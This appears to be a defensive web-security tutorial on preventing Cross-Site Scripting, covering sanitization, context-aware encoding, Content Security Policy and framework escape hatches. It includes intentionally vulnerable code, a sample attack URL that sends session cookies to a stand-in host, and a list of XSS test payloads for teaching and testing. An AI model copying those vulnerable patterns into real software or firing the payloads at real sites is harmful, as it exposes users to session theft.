Cross-Site Scripting (XSS): Prevention and Mitigation

Cross-Site Scripting (XSS) is an injection attack where malicious scripts execute in a victim's browser within the context of a trusted website. Despite being a known vulnerability for over two...

Key Insights

  • XSS remains in OWASP’s Top 10 because developers still trust user input and forget that output context matters—encode data based on where it’s rendered, not just where it came from.
  • Content Security Policy is your safety net, not your primary defense; combine strict CSP with proper input validation and output encoding for defense in depth.
  • Modern frameworks provide XSS protection by default, but escape hatches like dangerouslySetInnerHTML and bypassSecurityTrustHtml exist—audit your codebase for these patterns regularly.

What is XSS and Why It Still Matters

Cross-Site Scripting (XSS) is an injection attack where malicious scripts execute in a victim’s browser within the context of a trusted website. Despite being a known vulnerability for over two decades, XSS consistently appears in OWASP’s Top 10 Web Application Security Risks. According to HackerOne’s 2023 report, XSS accounts for 18% of all reported vulnerabilities, making it the most common web security flaw.

The attack exploits the trust relationship between a user and a website. When your browser loads a page from trusted-bank.com, it assumes all scripts on that page are legitimate. If an attacker can inject their script into that page, it runs with full access to cookies, session tokens, and DOM content.

Here’s a vulnerable search form that reflects user input without sanitization:

<!-- Vulnerable search page -->
<form action="/search" method="GET">
  <input type="text" name="q" placeholder="Search...">
  <button type="submit">Search</button>
</form>

<!-- Server renders this without encoding -->
<p>Search results for: <?= $_GET['q'] ?></p>

An attacker crafts a URL like /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> and sends it to victims. The script executes, stealing session cookies.

The Three Types of XSS Attacks

Understanding attack vectors helps you defend against them. Each type has different persistence and exploitation characteristics.

Stored XSS persists in the application’s database. A comment system that saves and displays unescaped HTML is the classic example:

// Vulnerable comment storage and display
app.post('/comments', (req, res) => {
  // Stored directly without sanitization
  db.comments.insert({ text: req.body.comment, userId: req.user.id });
});

app.get('/post/:id', (req, res) => {
  const comments = db.comments.findByPost(req.params.id);
  // Rendered without encoding - every visitor gets hit
  res.render('post', { comments });
});

Reflected XSS bounces off the server in the immediate response. The search example above demonstrates this—the payload travels through a URL parameter and reflects back.

DOM-based XSS never touches the server. The vulnerability exists entirely in client-side JavaScript:

// Vulnerable DOM manipulation
const params = new URLSearchParams(window.location.search);
const username = params.get('name');

// Direct innerHTML assignment with user input
document.getElementById('greeting').innerHTML = 'Welcome, ' + username;

// Attack URL: page.html?name=<img src=x onerror=alert(document.cookie)>

Stored XSS carries the highest risk because it affects all users who view the compromised content. DOM-based XSS is often missed by server-side security tools since the payload never crosses the network.

Input Validation and Sanitization

Validation should happen on the server. Client-side validation improves UX but provides zero security—attackers bypass it trivially.

Use allowlists, not blocklists. Blocklisting <script> tags fails because attackers use <img onerror>, <svg onload>, or encoding tricks. Define what’s allowed, reject everything else.

// Input validation middleware for Express
const validator = require('validator');

const sanitizeInput = {
  username: (value) => {
    // Allowlist: alphanumeric, 3-20 chars
    if (!/^[a-zA-Z0-9_]{3,20}$/.test(value)) {
      throw new Error('Invalid username format');
    }
    return value;
  },
  
  email: (value) => {
    if (!validator.isEmail(value)) {
      throw new Error('Invalid email format');
    }
    return validator.normalizeEmail(value);
  },
  
  // For rich text, use a proper sanitization library
  richText: (value) => {
    const createDOMPurify = require('dompurify');
    const { JSDOM } = require('jsdom');
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);
    
    return DOMPurify.sanitize(value, {
      ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
      ALLOWED_ATTR: []
    });
  }
};

// Usage in route handler
app.post('/profile', (req, res) => {
  try {
    const username = sanitizeInput.username(req.body.username);
    const bio = sanitizeInput.richText(req.body.bio);
    // Proceed with validated data
  } catch (err) {
    res.status(400).json({ error: err.message });
  }
});

DOMPurify is the gold standard for HTML sanitization. Don’t write your own regex-based sanitizer—you’ll miss edge cases.

Output Encoding Strategies

Input validation prevents malformed data from entering your system. Output encoding prevents valid data from being interpreted as code. You need both.

Encoding must be context-aware. HTML encoding doesn’t protect JavaScript contexts. URL encoding doesn’t protect CSS contexts.

// Context-specific encoding functions
const encoders = {
  // HTML context: <div>USER_DATA</div>
  html: (str) => {
    const map = {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#x27;'
    };
    return str.replace(/[&<>"']/g, char => map[char]);
  },
  
  // JavaScript context: var x = 'USER_DATA';
  js: (str) => {
    return str.replace(/[\\'"<>&]/g, char => {
      return '\\x' + char.charCodeAt(0).toString(16).padStart(2, '0');
    });
  },
  
  // URL parameter context: /search?q=USER_DATA
  url: (str) => encodeURIComponent(str),
  
  // CSS context: background: url('USER_DATA')
  css: (str) => {
    return str.replace(/[^a-zA-Z0-9]/g, char => {
      return '\\' + char.charCodeAt(0).toString(16) + ' ';
    });
  }
};

Modern template engines handle HTML encoding automatically. React’s JSX escapes by default:

// React - automatically escaped
function UserGreeting({ username }) {
  // Safe: React escapes the username
  return <div>Welcome, {username}</div>;
}

// Jinja2 - auto-escaping enabled by default
// {{ username }} is safe
// {{ username | safe }} bypasses escaping - dangerous!

Content Security Policy (CSP) Implementation

CSP is an HTTP header that tells browsers which resources can execute. It’s your last line of defense when encoding fails.

Start with a report-only policy to avoid breaking your site:

// Express middleware for CSP
const crypto = require('crypto');

app.use((req, res, next) => {
  // Generate nonce for inline scripts
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;
  
  // Progressive CSP configurations
  
  // Level 1: Basic protection (start here)
  const basicCSP = `
    default-src 'self';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    report-uri /csp-violation;
  `.replace(/\s+/g, ' ').trim();
  
  // Level 2: Strict with nonces
  const strictCSP = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' data:;
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    report-uri /csp-violation;
  `.replace(/\s+/g, ' ').trim();
  
  // Use Report-Only during testing
  res.setHeader('Content-Security-Policy-Report-Only', strictCSP);
  // Switch to enforcing once validated
  // res.setHeader('Content-Security-Policy', strictCSP);
  
  next();
});

Use the nonce in your templates:

<!-- Only scripts with matching nonce execute -->
<script nonce="<%= nonce %>">
  // This runs
</script>

<script>
  // This is blocked by CSP
</script>

Framework-Specific Protections

Modern frameworks escape output by default. The danger lies in escape hatches.

React escapes JSX expressions but provides dangerouslySetInnerHTML:

// SAFE: React escapes this
function Comment({ text }) {
  return <p>{text}</p>;
}

// DANGEROUS: Bypasses React's protection
function Comment({ htmlContent }) {
  return <p dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}

// If you must use it, sanitize first
import DOMPurify from 'dompurify';

function SafeComment({ htmlContent }) {
  const sanitized = DOMPurify.sanitize(htmlContent);
  return <p dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

Angular has similar escape hatches:

// SAFE: Angular sanitizes by default
@Component({
  template: `<div [innerHTML]="userContent"></div>`
})
export class CommentComponent {
  userContent = '<script>alert("blocked")</script><b>bold</b>';
  // Script is stripped, bold remains
}

// DANGEROUS: Bypasses Angular's sanitizer
import { DomSanitizer } from '@angular/platform-browser';

@Component({
  template: `<div [innerHTML]="trustedContent"></div>`
})
export class UnsafeComponent {
  constructor(private sanitizer: DomSanitizer) {
    // This trusts the content completely
    this.trustedContent = this.sanitizer.bypassSecurityTrustHtml(userInput);
  }
}

Audit your codebase for these patterns: dangerouslySetInnerHTML, bypassSecurityTrust*, v-html, and | safe filters.

Testing and Monitoring for XSS

Automated scanning catches low-hanging fruit. OWASP ZAP and Burp Suite are industry standards. Integrate them into CI/CD:

# GitHub Actions example with OWASP ZAP
name: Security Scan
on: [push]
jobs:
  zap-scan:
    runs-on: ubuntu-latest
    steps:
      - name: ZAP Baseline Scan
        uses: zaproxy/action-baseline@v0.9.0
        with:
          target: 'https://staging.yourapp.com'
          fail_action: true

Manual testing requires understanding common payloads:

// XSS test payloads for manual testing
const xssPayloads = [
  // Basic
  '<script>alert(1)</script>',
  
  // Event handlers
  '<img src=x onerror=alert(1)>',
  '<svg onload=alert(1)>',
  '<body onload=alert(1)>',
  
  // Encoding bypasses
  '<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>',
  '<script>eval(atob("YWxlcnQoMSk="))</script>',
  
  // DOM-based
  'javascript:alert(1)',
  'data:text/html,<script>alert(1)</script>'
];

Set up CSP violation reporting to catch attacks in production:

// CSP violation reporting endpoint
app.post('/csp-violation', express.json({ type: 'application/csp-report' }), (req, res) => {
  const violation = req.body['csp-report'];
  
  console.error('CSP Violation:', {
    blockedUri: violation['blocked-uri'],
    violatedDirective: violation['violated-directive'],
    documentUri: violation['document-uri'],
    sourceFile: violation['source-file'],
    lineNumber: violation['line-number']
  });
  
  // Send to your logging/alerting system
  alertingService.notify('csp-violation', violation);
  
  res.status(204).end();
});

XSS prevention isn’t a single technique—it’s layered defense. Validate input, encode output for context, deploy strict CSP, use framework protections correctly, and monitor continuously. Miss one layer, and the others catch the attack. Miss them all, and you’re reading about your breach in the news.

Liked this? There's more.

Every week: one practical technique, explained simply, with code you can use immediately.